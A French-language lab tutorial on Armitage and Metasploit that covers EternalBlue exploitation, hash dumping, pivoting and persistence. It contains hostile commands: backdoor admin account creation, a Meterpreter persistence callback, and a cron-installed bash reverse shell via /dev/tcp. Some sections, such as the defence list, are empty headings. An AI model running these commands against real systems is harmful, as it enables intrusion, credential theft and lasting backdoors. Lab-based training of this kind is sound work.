⚠ USAGE ÉDUCATIF EXCLUSIF – Tests en environnement isolé autorisé uniquement. Toute attaque sans permission est illégale.

Armitage – Full Lab Exploit Multi‑machines
Contrôle et commande graphique avec Metasploit

Guide complet en français : du scan initial à la persistance et au pivot, avec analyse détaillée et contournement des obstacles.

Armitage Metasploit Meterpreter Pivot Persistance Défense

📖 Sommaire

1. Introduction – Armitage, le cockpit graphique de Metasploit

Armitage est une interface graphique Java qui se connecte à une instance de Metasploit. Elle permet de gérer visuellement les hôtes, les sessions Meterpreter, les modules d’exploitation et de post‑exploitation. Très utilisée en pentest, elle facilite le travail collaboratif et offre une vue d’ensemble de la compromission d’un réseau.

Contrairement à la ligne de commande msfconsole, Armitage expose chaque cible comme une icône sur un canevas, affiche les sessions actives et automatise les attaques de masse. Nous allons l’exploiter dans un laboratoire complet avec plusieurs machines pour simuler un scénario d’intrusion réaliste.

graph LR A[Kali - Armitage] --> B[Windows 10 cible 1] A --> C[Serveur Linux cible 2] B --> D[Pivot vers réseau interne] C --> D D --> E[Base de données interne]

Notre objectif : compromettre une machine Windows via un exploit pédagogique, pivoter vers un serveur Linux interne, puis installer une persistance.

2. Architecture du laboratoire multi‑machines

Nous utilisons quatre machines virtuelles connectées en réseau Host‑Only :

graph TD subgraph Réseau 192.168.56.0/24 KALI[Kali] --- WIN[Win10-cible] WIN --- LINUX[Linux-web] end subgraph Réseau 10.0.0.0/24 WIN2[Win10-cible 2nd carte] --- DC[DC-Interne] end LINUX --- WIN KALI -.-|Attaques| WIN WIN -.-|Pivot| LINUX WIN -.-|Pivot| DC
Important : L’activation de SMB1 et la désactivation des défenses sont purement pédagogiques. Ne jamais reproduire sur un système réel.

3. Déploiement automatisé

Nous fournissons des scripts pour recréer rapidement cet environnement. Exemple avec Vagrant (extrait) :

Vagrant.configure("2") do |config|
  config.vm.define "win10" do |w|
    w.vm.box = "gusztavvargadr/windows-10-22h2"
    w.vm.network "private_network", ip: "192.168.56.101"
    # ATTENTION : Activation SMB1 POUR LE LAB UNIQUEMENT
    w.vm.provision "shell", inline: "Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol"
  end
  config.vm.define "linux" do |l|
    l.vm.box = "ubuntu/jammy64"
    l.vm.network "private_network", ip: "192.168.56.102"
  end
end

Pour la seconde carte réseau de Win10 (pivot), ajoutez dans le Vagrantfile une deuxième interface Host‑Only (ex: 10.0.0.1 pour Win10 et 10.0.0.5 pour DC).

Rappel lab : L’activation de SMB1 et l’absence de correctif sont volontaires pour l’apprentissage. Ne faites jamais cela hors d’un laboratoire isolé.

4. Prise en main d’Armitage – Connexion et interface

Démarrez Metasploit avec le service RPC :

msfdb init
msfrpcd -P votre_mot_de_passe -S

Lancez Armitage :

armitage

Dans la fenêtre de connexion, entrez 127.0.0.1, port 55553, l'utilisateur msf et le mot de passe défini. Cliquez sur « Connect ».

L’interface principale affiche un canevas vide, une console Metasploit en bas, et des onglets pour les modules. Nous allons maintenant ajouter nos cibles.

sequenceDiagram participant U as Utilisateur participant A as Armitage participant M as Metasploit RPC U->>A: Lancement A->>M: Connexion RPC M-->>A: Authentification OK A->>U: Interface prête

5. Scan et découverte – Identifier les cibles vulnérables

Dans l'onglet « Hosts », cliquez sur « Nmap Scan » puis « Quick Scan (OS detect) ». Saisissez la plage 192.168.56.101-102.

Après le scan, les hôtes apparaissent avec des icônes. Pour chaque hôte, on peut voir les services détectés (SMB sur 445, RDP sur 3389, HTTP sur 80). Armitage met automatiquement en évidence les vulnérabilités potentielles (petite icône rouge si un exploit est disponible).

graph TD A[Scan NMAP] --> B[Hôtes découverts] B --> C{Analyse des services} C -->|SMB 445| D[Exploit possible] C -->|HTTP 80| E[Attaque Web] C -->|RDP 3389| F[Brute-force]

Si le scan ne détecte pas automatiquement les vulnérabilités, utilisez le module auxiliary/scanner/smb/smb_ms17_010 depuis la console intégrée.

6. Exploitation initiale – Obtenir un premier shell Meterpreter

Choix pédagogique : Nous utilisons volontairement l’exploit EternalBlue (MS17‑010) car il reste le plus simple à comprendre et le plus spectaculaire pour illustrer le workflow Armitage. Sur un réseau moderne, cette vulnérabilité est quasiment toujours patchée. Une fois la technique maîtrisée, vous pouvez tester d’autres modules (PrintNightmare, Zerologon, exploits web, etc.).

Faites un clic droit sur l'icône de Win10, sélectionnez « Attack » → « SMB » → « ms17_010_eternalblue ». Armitage remplit automatiquement les paramètres (RHOSTS). Cliquez sur « Launch ».

Si l'exploit réussit, la bordure de l'icône devient rouge (machine compromise). Une session Meterpreter s'ouvre automatiquement. Vous pouvez interagir en faisant un clic droit → « Meterpreter » → « Interact ».

sequenceDiagram participant A as Armitage participant M as Metasploit participant W as Win10-cible A->>M: Lancer ms17_010_eternalblue M->>W: Exploit SMB W-->>M: Shell SYSTEM M->>A: Session Meterpreter ouverte A->>W: Accès complet

Contournement des éventuels problèmes

7. Post‑exploitation – Escalade, dump de hashs, tokens

Dans la session Meterpreter, utilisez le menu « Access » → « Escalate » → « Attempt bypassuac » (si besoin de droits admin). Ensuite, « Dump hashes » pour récupérer les hashs SAM.

Pour utiliser un jeton (token), faites « Access » → « Impersonate token » et choisissez un compte privilégié. Vous pouvez aussi créer un nouvel utilisateur admin :

execute -f cmd.exe -a "/c net user attacker Password123 /add"
execute -f cmd.exe -a "/c net localgroup Administrators attacker /add"

Toutes ces actions sont réalisables graphiquement.

8. Pivot et mouvement latéral – Utiliser une victime comme tremplin

Depuis Win10 compromise, nous voulons attaquer le serveur Linux (192.168.56.102) et le DC interne (10.0.0.5). Armitage intègre un gestionnaire de pivot avancé.

8.1 Configuration du pivot dans Armitage

Sur l’hôte compromis, faites un clic droit → « Meterpreter » → « Pivoting » → « Setup… ». Une fenêtre s’ouvre, laissez les options par défaut (ajouter une route vers le sous‑réseau distant). Armitage exécute en arrière‑plan :

route add 10.0.0.0 255.255.255.0 1
route add 192.168.56.0 255.255.255.0 1
run autoroute -s 10.0.0.0/24

Ensuite, Armitage propose de démarrer un proxy SOCKS (port 1080 par défaut). Acceptez. Ce proxy vous permet d’utiliser des outils externes (nmap, hydra, etc.) via la machine pivot.

8.2 Utilisation du proxy SOCKS avec proxychains

Sur Kali, modifiez /etc/proxychains.conf (ajoutez socks4 127.0.0.1 1080). Désormais, vous pouvez lancer :

proxychains nmap -sT -Pn -p 22,80 10.0.0.5

Cela scanne le DC interne à travers Win10. Tout le trafic passe par le pivot.

graph LR A[Kali] --> B[Proxy SOCKS :1080] B --> C[Win10 pivot] C --> D[Linux-web] C --> E[DC-Interne] A -.->|proxychains| C C -.-> D C -.-> E

8.3 Attaque du DC interne

Une fois le pivot en place, vous pouvez lancer un nouvel exploit via Armitage. Cliquez sur « Hosts » → « Add Hosts » et entrez 10.0.0.5. Armitage scanne à travers le pivot. Vous pouvez ensuite utiliser un module d’attaque adapté (par exemple exploit/windows/smb/psexec si vous avez récupéré des hashs).

Problèmes courants et solutions

9. Persistance – Garder l’accès durablement

Sur chaque machine compromise, installez un moyen de revenir. Armitage propose des options dans « Meterpreter » → « Persistence ». Cela crée un script VBS ou un service qui se connecte périodiquement à votre IP.

run persistence -U -i 60 -p 4444 -r 192.168.56.10

Cependant, cette méthode est très bruyante (création d’un service visible, connexions sortantes régulières). Dans un vrai engagement, on préfère des alternatives plus furtives, qu’on peut aussi tester en lab :

En laboratoire : Toutes ces techniques sont autorisées pour apprendre. Sur un vrai pentest, la persistance est choisie en fonction du niveau de discrétion requis et du contexte client.

Pour Linux, utilisez ssh-keygen et ajoutez votre clé publique dans ~/.ssh/authorized_keys, ou créez un cron job.

echo "* * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/192.168.56.10/5555 <&1'" | crontab -

10. Détection et contre‑mesures – Les traces laissées

Les attaques via Armitage laissent des traces visibles par un SOC :

Pour se défendre :

11. Quiz

1. Quel exploit utilise‑t‑on dans ce lab pour compromettre la première machine Windows ?

2. Comment crée‑t‑on un pivot SOCKS dans Armitage ?

3. Quelle méthode de persistance est la plus discrète parmi les suivantes ?